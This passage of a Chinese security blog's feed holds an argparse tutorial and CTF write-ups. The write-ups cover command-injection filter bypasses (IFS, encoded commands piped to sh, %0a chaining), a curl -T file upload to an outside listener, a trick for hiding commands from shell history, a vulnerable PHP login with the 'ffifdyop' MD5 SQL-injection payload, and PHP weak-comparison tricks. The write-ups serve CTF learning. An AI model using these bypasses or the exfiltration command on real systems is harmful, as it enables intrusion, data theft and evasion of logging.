class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ python print_name.py</span><br><span class="line"><span class="comment"># 输出:Hello Tao</span></span><br></pre></td></tr></table></figure><p> 最后我们通过argpaser对象的<code>parser_args</code>函数来获取所有参数<code>args</code>,然后通过<code>args.name</code>的方式得到我们设置的<code>-name</code>参数的值,可以看到这里argparse默认的参数名就是<code>--name</code>形式里面<code>--</code>后面的字符串 。</p><p>一 .</p><ul><li><code>default</code> :没有设置值情况下的默认参数</li></ul><p>二 .</p><ul><li><code>required</code> :表示这个参数是否一定需要设置</li></ul><p>如果设置了<code>required=True</code>,然则在实际的运用中不设置该参数,那么则会报错,</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ python print_name.py</span><br></pre></td></tr></table></figure><p>输出如下信息</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">usage: print_name.py [-h] --name NAME</span><br><span class="line">print_name.py: error: the following arguments are required: --name</span><br></pre></td></tr></table></figure><ul><li><code>type</code> 指定参数类型,默认是str, 还有int,float等</li></ul><p>如果你的程序需要整数运算的话,那么需要指定<code>type=int</code></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> parser = argparse.ArgumentParser(description=<span class="string">'Dome of argparse '</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'--num'</span>, type=int)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> parser</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> parser = main()</span><br><span class="line"> args = parser.parse_args()</span><br><span class="line"> sum = args.num</span><br><span class="line"> print(<span class="number">1</span>+sum)</span><br></pre></td></tr></table></figure><p>执行结果:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">python print_num.py --num <span class="number">10</span></span><br><span class="line"><span class="comment"># 输出:11</span></span><br></pre></td></tr></table></figure><p>没有指定的话,则会报错</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">python print_num.py --num <span class="number">10</span></span><br><span class="line">Traceback (most recent call last):</span><br><span class="line"> File <span class="string">"print_num.py"</span>, line <span class="number">13</span>, <span class="keyword">in</span> <module></span><br><span class="line"> print(<span class="number">1</span>+sum)</span><br><span class="line">TypeError: unsupported operand type(s) <span class="keyword">for</span> +: <span class="string">'int'</span> <span class="keyword">and</span> <span class="string">'str'</span></span><br></pre></td></tr></table></figure><ul><li><p><code>dest</code> 设置参数在代码中的变量名</p><ul><li>argparse默认的变量名是<code>--</code>或<code>-</code>后面的字符串,但是你也可以通过<code>dest=xxx</code>来设置参数的变量名,然后在代码中用<code>args.xxx</code>来获取参数的值 </li></ul></li><li><p><code>choices</code> 参数值只能从几个选项里面选择</p></li><li><p><code>help</code> 指定参数的说明信息</p><ul><li>告诉别人这个参数有啥作用</li></ul></li></ul><p>通过代码来解释一下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">choices</span>():</span></span><br><span class="line"> parser = argparse.ArgumentParser(description=<span class="string">'Choices Dome'</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-c'</span>, dest=<span class="string">'choice'</span>, required=<span class="literal">True</span>, choices=[<span class="string">'Tao'</span>,<span class="string">'xiaoming'</span>], help=<span class="string">'Choose a person you love'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> parser</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">main</span>():</span></span><br><span class="line"> parser = choices()</span><br><span class="line"> args = parser.parse_args()</span><br><span class="line"> choice = args.choice</span><br><span class="line"> print(<span class="string">'You choices is {0}'</span>.format(choice))</span><br><span class="line">i</span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> main()</span><br></pre></td></tr></table></figure><p>帮助信息的输出:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ python print_choices.py -h</span><br><span class="line"></span><br><span class="line">usage: print_choices.py [-h] -c {Tao,xiaoming}</span><br><span class="line"></span><br><span class="line">Choices Dome</span><br><span class="line"></span><br><span class="line">optional arguments:</span><br><span class="line"> -h, --help show this help message <span class="keyword">and</span> exit</span><br><span class="line"> -c {Tao,xiaoming} Choose a person you love <span class="comment"># 在这里!!!</span></span><br></pre></td></tr></table></figure><p>选择一个参数,结果执行如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ python print_choices.py -c Tao</span><br><span class="line"><span class="comment"># 输出结果: You choices is Tao</span></span><br></pre></td></tr></table></figure><ul><li><code>nargs</code> 命令行参数的个数,指定这个参数后面的value有多少个,默认为1.</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">值含义</span><br><span class="line">N 参数的绝对个数(例如:<span class="number">3</span>)</span><br><span class="line"><span class="string">'?'</span> <span class="number">0</span>或<span class="number">1</span>个参数</span><br><span class="line"><span class="string">'*'</span> <span class="number">0</span>或所有参数</span><br><span class="line"><span class="string">'+'</span> 所有,并且至少一个参数</span><br></pre></td></tr></table></figure><p>代码实现:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> argparse</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_parser</span>():</span></span><br><span class="line"> parser = argparse.ArgumentParser(description=<span class="string">'nargs Dome'</span>)</span><br><span class="line"> parser.add_argument(<span class="string">'-n'</span>, dest=<span class="string">'name'</span> ,required=<span class="literal">True</span>, type=str, nargs=<span class="string">'+'</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> parser</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> parser = get_parser()</span><br><span class="line"> args = parser.parse_args()</span><br><span class="line"> names = <span class="string">', '</span>.join(args.name)</span><br><span class="line"> print(<span class="string">'Hello %s'</span> % names)</span><br></pre></td></tr></table></figure><p>使用如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ python print_name.py -n Tao xiaoming</span><br><span class="line">Hello Tao, xiaoming</span><br></pre></td></tr></table></figure><p>关于add_argument详细参数使用如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">ArgumentParser.add_argument(name <span class="keyword">or</span> flags...[, action][, nargs][, const][, default][, type][, choices][, required][, help][, metavar][, dest])</span><br><span class="line">定义应该如何解析一个命令行参数。下面每个参数有它们自己详细的描述,简单地讲它们是:</span><br><span class="line"></span><br><span class="line">name <span class="keyword">or</span> flags - 选项字符串的名字或者列表,例如foo 或者-f, --foo。</span><br><span class="line">action - 在命令行遇到该参数时采取的基本动作类型。</span><br><span class="line">nargs - 应该读取的命令行参数数目。</span><br><span class="line">const - 某些action和nargs选项要求的常数值。</span><br><span class="line">default - 如果命令行中没有出现该参数时的默认值。</span><br><span class="line">type - 命令行参数应该被转换成的类型。</span><br><span class="line">choices - 参数可允许的值的一个容器。</span><br><span class="line">required - 该命令行选项是否可以省略(只针对可选参数)。</span><br><span class="line">help - 参数的简短描述。</span><br><span class="line">metavar - 参数在帮助信息中的名字。</span><br><span class="line">dest - 给parse_args()返回的对象要添加的属性名称。</span><br></pre></td></tr></table></figure><h2 id="参考文章:"><a href="#参考文章:" class="headerlink" title="参考文章:"></a>参考文章:</h2><ul><li><p><a href="https://www.cnblogs.com/piperck/p/8446580.html">https://www.cnblogs.com/piperck/p/8446580.html</a> </p></li><li><p><a href="http://vra.github.io/2017/12/02/argparse-usage/">http://vra.github.io/2017/12/02/argparse-usage/</a> </p></li><li><p><a href="https://docs.python.org/zh-cn/3.7/library/argparse.html">https://docs.python.org/zh-cn/3.7/library/argparse.html</a> </p></li></ul>]]></content>
<summary type="html"><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>Python3中的argparse模块,是用来做<strong>命令行参数解析的</strong>,因为optparse模块已经不再更新,所</summary>
<category term="Python" scheme="https://taonn.github.io/categories/Python/"/>
<category term="Python常用模块" scheme="https://taonn.github.io/tags/Python%E5%B8%B8%E7%94%A8%E6%A8%A1%E5%9D%97/"/>
</entry>
<entry>
<title>Linux在CTF中的一些小技巧</title>
<link href="https://taonn.github.io/2020/10/04/Linux%E5%9C%A8CTF%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%8A%80%E5%B7%A7/"/>
<id>https://taonn.github.io/2020/10/04/Linux%E5%9C%A8CTF%E4%B8%AD%E7%9A%84%E4%B8%80%E4%BA%9B%E5%B0%8F%E6%8A%80%E5%B7%A7/</id>
<published>2020-10-04T01:24:32.000Z</published>
<updated>2021-03-16T05:28:37.891Z</updated>
<content type="html"><![CDATA[<p>CTF中各种花里胡哨的操作还是挺多的,这里参考大佬的文章,做了更详细的总结!</p><h2 id="场景一:限制空格"><a href="#场景一:限制空格" class="headerlink" title="场景一:限制空格"></a>场景一:限制空格</h2><p> 假如需要实现 <strong>cat flag.txt</strong> 命令读取flag: </p><ol><li>利用<>重定向符:</li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085145611.png" alt="image-20191203085145611"></p><ol start="2"><li>利用${IFS}变量(内部域分隔符):</li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085327815.png" alt="image-20191203085327815"></p><ol start="3"><li>利用{,}来代替:</li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085410858.png" alt="image-20191203085410858"></p><ol start="4"><li>利用$IFS$9:</li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085455982.png" alt="image-20191203085455982"></p><h2 id="场景二:不允许指定命令执行"><a href="#场景二:不允许指定命令执行" class="headerlink" title="场景二:不允许指定命令执行"></a>场景二:不允许指定命令执行</h2><p> 假如需要执行 <strong>uname</strong> 命令,但过滤掉了 uname 字符: </p><ol><li>利用参数拼接(黑名单绕过):</li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085620660.png" alt="image-20191203085620660"></p><ol start="2"><li><p>利用’ “ 单、双引号(碰到 escapeshellcmd() 时有效bypass): </p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085659619.png" alt="image-20191203085659619"></p></li></ol><p>单、双引号成对出现不过滤,表示空字符串;</p><ol start="3"><li>利用 <strong>`</strong> 小引号,就是Tab上那个引号:</li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085835665.png" alt="image-20191203085835665"></p><p>如果一串命令中存在``,会先执行引号内的命令;</p><p>这也就是利用DNS传数据的利用点;</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203085954623.png" alt="image-20191203085954623"></p><ol start="4"><li>利用转义符号\反斜杠来绕过</li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203090216583.png" alt="image-20191203090216583"></p><h2 id="场景三:一次执行多条命令"><a href="#场景三:一次执行多条命令" class="headerlink" title="场景三:一次执行多条命令"></a>场景三:一次执行多条命令</h2><p>假如需要执行uname和id命令:</p><ol><li><p>利用shell脚本结束符; 分号:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203090345359.png" alt="image-20191203090345359"></p></li><li><p>利用逻辑符号(&,&&,|,||)</p></li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203090538453.png" alt="image-20191203090538453"></p><ol start="2"><li>在Web页面执行时可以利用回车的url编码 <strong>%0a</strong> 来绕过 </li></ol><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203090709704.png" alt="image-20191203090709704"></p><p>类似在shell脚本下放了两条命令</p><h2 id="命令编码绕过"><a href="#命令编码绕过" class="headerlink" title="命令编码绕过"></a>命令编码绕过</h2><p><strong>base64</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">root@Tao:/tmp<span class="comment"># printf "whoami" | base64</span></span><br><span class="line">d2hvYW1p</span><br><span class="line">root@Tao:/tmp<span class="comment"># printf "d2hvYW1p" | base64 -d | sh</span></span><br><span class="line">root</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203091351029.png" alt="image-20191203091351029"></p><p><strong>xxd(16进制)</strong>:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">root@Tao:/tmp<span class="comment"># printf "whoami" | xxd -p</span></span><br><span class="line">77686f616d69</span><br><span class="line">root@Tao:/tmp<span class="comment"># printf "77686f616d69" | xxd -r -p | sh</span></span><br><span class="line">root</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203091508479.png" alt="image-20191203091508479"></p><h2 id="字符替换"><a href="#字符替换" class="headerlink" title="字符替换"></a>字符替换</h2><p>Linux</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">root@Tao:/tmp<span class="comment"># echo $PATH</span></span><br><span class="line">/usr/<span class="built_in">local</span>/sbin:/usr/<span class="built_in">local</span>/bin:/usr/sbin:/usr/bin:/sbin:/bin</span><br><span class="line">root@Tao:/tmp<span class="comment"># echo ${PATH:5:1}</span></span><br><span class="line">l</span><br><span class="line">root@Tao:/tmp<span class="comment"># echo ${PATH:2:1}</span></span><br><span class="line">s</span><br><span class="line">root@Tao:/tmp<span class="comment"># echo ${PATH:5:1}${PATH:2:1}</span></span><br><span class="line">ls</span><br><span class="line">root@Tao:/tmp<span class="comment"># ${PATH:5:1}${PATH:2:1}</span></span><br><span class="line">flag.txt tao.sh</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203091905836.png" alt="image-20191203091905836"></p><p> Linux:${PATH~: a :b} 其中a表示从a位开始,b表示截取的长度; (从0开始!!!)</p><p>如果过滤了冒号:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">root@Tao:/tmp<span class="comment"># echo $(expr substr $PATH 6 1)</span></span><br><span class="line">l</span><br><span class="line">root@Tao:/tmp<span class="comment"># echo $(expr substr $PATH 3 1)</span></span><br><span class="line">s</span><br><span class="line">root@Tao:/tmp<span class="comment"># $(expr substr $PATH 6 1)$(expr substr $PATH 3 1)</span></span><br><span class="line">flag.txt tao.sh</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203092308561.png" alt="image-20191203092308561"></p><p><strong>Windows:</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">E:\tmp>echo %PATH%:~13,1</span><br><span class="line">C:\Program Files (x86)\....</span><br><span class="line">E:\tmp>echo %PATH:~14,1%</span><br><span class="line">e</span><br></pre></td></tr></table></figure><p> Windows:%PATH:~a,b% (从1开始数)</p><h2 id="curl-T-上传文件"><a href="#curl-T-上传文件" class="headerlink" title="curl -T 上传文件"></a>curl -T 上传文件</h2><p>首先,windows主机监听端口</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">E:\tmp>nc.exe -l -v -p 2333</span><br></pre></td></tr></table></figure><p>Linux服务器发送文件:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -T ./flag.txt http://1.1.1.1:2333</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203093411601.png" alt="image-20191203093411601"></p><h2 id="防止命令被记录"><a href="#防止命令被记录" class="headerlink" title="防止命令被记录"></a>防止命令被记录</h2><p>在终端执行的每一条命令都会被记录在 history 文件中?</p><p>不是的,如果在命令前加个<code>空格</code>,则会不被记录;</p><p>并且前后重复的命令不会被记录;</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203093836873.png" alt="image-20191203093836873"></p><p>note:</p><p>debain系可以,centos系不行;</p><h2 id="利用文件名执行命令"><a href="#利用文件名执行命令" class="headerlink" title="利用文件名执行命令"></a>利用文件名执行命令</h2><p> <code>*</code>是Linux下的通配符,它会将符合模式的文件列出来,之后执行; </p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">root@Tao:/tmp<span class="comment"># ls</span></span><br><span class="line">root@Tao:/tmp<span class="comment"># touch bash</span></span><br><span class="line">root@Tao:/tmp<span class="comment"># echo id >> tao.bash</span></span><br><span class="line">root@Tao:/tmp<span class="comment"># ls</span></span><br><span class="line">bash tao.bash</span><br><span class="line">root@Tao:/tmp<span class="comment"># *</span></span><br><span class="line">uid=0(root) gid=0(root) 缁�=0(root)</span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191203094014805.png" alt="image-20191203094014805"></p><p>参考文章: <a href="https://ai-sewell.me/2017/Some-tricks-of-Linux-in-CTF/">https://ai-sewell.me/2017/Some-tricks-of-Linux-in-CTF/</a></p>]]></content>
<summary type="html"><p>CTF中各种花里胡哨的操作还是挺多的,这里参考大佬的文章,做了更详细的总结!</p>
<h2 id="场景一:限制空格"><a href="#场景一:限制空格" class="headerlink" title="场景一:限制空格"></a>场景一:限制空格</h2><p></summary>
<category term="网络安全" scheme="https://taonn.github.io/categories/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/"/>
<category term="CTF" scheme="https://taonn.github.io/tags/CTF/"/>
</entry>
<entry>
<title>MD5加密后的SQL注入(骚操作)</title>
<link href="https://taonn.github.io/2020/10/04/MD5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84SQL%E6%B3%A8%E5%85%A5-%E9%AA%9A%E6%93%8D%E4%BD%9C/"/>
<id>https://taonn.github.io/2020/10/04/MD5%E5%8A%A0%E5%AF%86%E5%90%8E%E7%9A%84SQL%E6%B3%A8%E5%85%A5-%E9%AA%9A%E6%93%8D%E4%BD%9C/</id>
<published>2020-10-04T01:19:11.000Z</published>
<updated>2021-03-16T05:28:27.739Z</updated>
<content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>事情的起因是,我在看一篇大佬写的writeup,关于<code>sniperoj-web</code>的解析,我发现了一个关于MD5加密sql注入的骚操作,我便自己开始搭环境,准备复现一波</p><p>我这里利用的是dvwa的账号密码的环境</p><p> <img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191117094144398.png" alt="image-20191117094144398"></p><p><code>5f4dcc3b5aa765d61d8327deb882cf99</code>放到MD5解密网站解密为<code>password</code>,这我就不详细说了</p><h2 id="实验过程"><a href="#实验过程" class="headerlink" title="实验过程"></a>实验过程</h2><p>关于这里sql注入,大佬是这样说的</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191117094459258.png" alt="image-20191117095108380"></p><p>于是我之前搭建环境,进行了测试.(以下是我自己为了测试,写的代码)</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><!DOCTYPE html></span><br><span class="line"><html></span><br><span class="line"><head></span><br><span class="line"><title>Login</title></span><br><span class="line"></head></span><br><span class="line"><body></span><br><span class="line"><form action=<span class="string">""</span> method=<span class="string">"GET"</span>></span><br><span class="line">USERNAME:<input type=<span class="string">"text"</span> name=<span class="string">"username"</span>><br /></span><br><span class="line">PASSWORD:<input type=<span class="string">"text"</span> name=<span class="string">"password"</span>><br /></span><br><span class="line"><input type=<span class="string">"submit"</span> name=<span class="string">"sub"</span>></span><br><span class="line"></form></span><br><span class="line"></body></span><br><span class="line"></html></span><br><span class="line"><span class="meta"><?php</span></span><br><span class="line"></span><br><span class="line">$host = <span class="string">'localhost'</span>;</span><br><span class="line">$user = <span class="string">'root'</span>;</span><br><span class="line">$passwd = <span class="string">'root'</span>;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">isset</span>($_GET[<span class="string">'sub'</span>])){</span><br><span class="line">$username = $_GET[<span class="string">'username'</span>];</span><br><span class="line">$password = $_GET[<span class="string">'password'</span>];</span><br><span class="line">$conn = <span class="keyword">new</span> PDO(<span class="string">"mysql:host=<span class="subst">$host</span>;dbname=dvwa"</span>, $user, $passwd);</span><br><span class="line">$sql = <span class="string">"SELECT * FROM users WHERE password = '"</span>.md5($password,<span class="literal">true</span>).<span class="string">"'"</span>; <span class="comment">// 重点在这里</span></span><br><span class="line">$q = $conn->query($sql);</span><br><span class="line">$res = $q->fetch();</span><br><span class="line"><span class="keyword">if</span> ($username == <span class="string">'admin'</span> <span class="keyword">and</span> $res[<span class="string">'password'</span>] == md5(<span class="string">'password'</span>)){</span><br><span class="line"><span class="keyword">echo</span> $username.<span class="string">'登录成功!'</span>;</span><br><span class="line">}</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"请登入!"</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="meta">?></span></span><br></pre></td></tr></table></figure><p>大概的原理就是<code>$sql = "SELECT * FROM users WHERE password = '".md5($password,true)."'";</code> </p><p>上述的查询语句,如果<code>$password= ffifdyop </code> , md5后,<code>276f722736c95d99e921722cf9ed621c </code>, 再转成字符串: ‘or’6<trash> </p><p>那么sql语句就成了<code>SELECT * FROM users WHERE password = ''or'6<trash>' </code>,从而绕过</p><p>我们进行测试:</p><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191117095108380.png" alt="image-20191117094459258"></p><h2 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h2><ul><li><a href="https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html">https://joychou.org/web/SQL-injection-with-raw-MD5-hashes.html</a> </li></ul>]]></content>
<summary type="html"><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>事情的起因是,我在看一篇大佬写的writeup,关于<code>sniperoj-web</code>的解析,我发现了一个关于MD5加密sq</summary>
<category term="web安全" scheme="https://taonn.github.io/categories/web%E5%AE%89%E5%85%A8/"/>
<category term="php安全" scheme="https://taonn.github.io/tags/php%E5%AE%89%E5%85%A8/"/>
</entry>
<entry>
<title>PHP黑魔法学习总结</title>
<link href="https://taonn.github.io/2020/10/04/PHP%E9%BB%91%E9%AD%94%E6%B3%95%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/"/>
<id>https://taonn.github.io/2020/10/04/PHP%E9%BB%91%E9%AD%94%E6%B3%95%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/</id>
<published>2020-10-04T01:17:05.000Z</published>
<updated>2021-03-16T05:27:51.057Z</updated>
<content type="html"><![CDATA[<h1 id="php黑魔法"><a href="#php黑魔法" class="headerlink" title="php黑魔法"></a>php黑魔法</h1><p> php黑魔法就是所谓的弱类型比较,一些函数返回null,利用数组返回True的一些问题</p><h2 id="弱类型比较"><a href="#弱类型比较" class="headerlink" title="弱类型比较"></a>弱类型比较</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$a = <span class="string">'betao.cn'</span>;</span><br><span class="line"><span class="keyword">if</span> ($a == <span class="number">0</span>){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'Ture'</span>;</span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'False'</span>;</span><br><span class="line">}</span><br><span class="line"> <span class="comment">// 以上代码输出 Ture</span></span><br><span class="line"><span class="keyword">echo</span> <span class="string">'<hr>'</span>;</span><br><span class="line">$b = <span class="string">'3betao.cn'</span>; </span><br><span class="line"><span class="keyword">if</span> ($b > <span class="number">2</span>){</span><br><span class="line"><span class="keyword">echo</span> <span class="string">"True"</span>; </span><br><span class="line">}<span class="keyword">else</span>{</span><br><span class="line"><span class="keyword">echo</span> <span class="string">'False'</span>;</span><br><span class="line">}</span><br><span class="line"><span class="comment">// 输出True</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 以上代码说明了:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0</span></span><br></pre></td></tr></table></figure><p><img src="https://gitee.com/bobtaoi/md_img/raw/master/img/image-20191115143819321.png" alt="image-20191115143819321"></p><p>总结: 以上代码说明了,若字符串以数字开头,则取开头数字作为转换结果,若无则输出0</p><h2 id="md5-sha1"><a href="#md5-sha1" class="headerlink" title="md5(),sha1()"></a>md5(),sha1()</h2><ol><li><p>PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0 </p></li><li><p>md5()是不能处理数组的,md5(数组)会返回null,两个null相等绕过,sha1()也是同理</p></li></ol><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span></span><br><span class="line">$a = <span class="string">'QNKCDZO'</span>;</span><br><span class="line">$b = <span class="string">'s878926199a'</span>;</span><br><span class="line">$md5_a = md5($a); <span class="keyword">echo</span> $md5_a.<span class="string">'<br>'</span>;</span><br><span class="line">$md5_b = 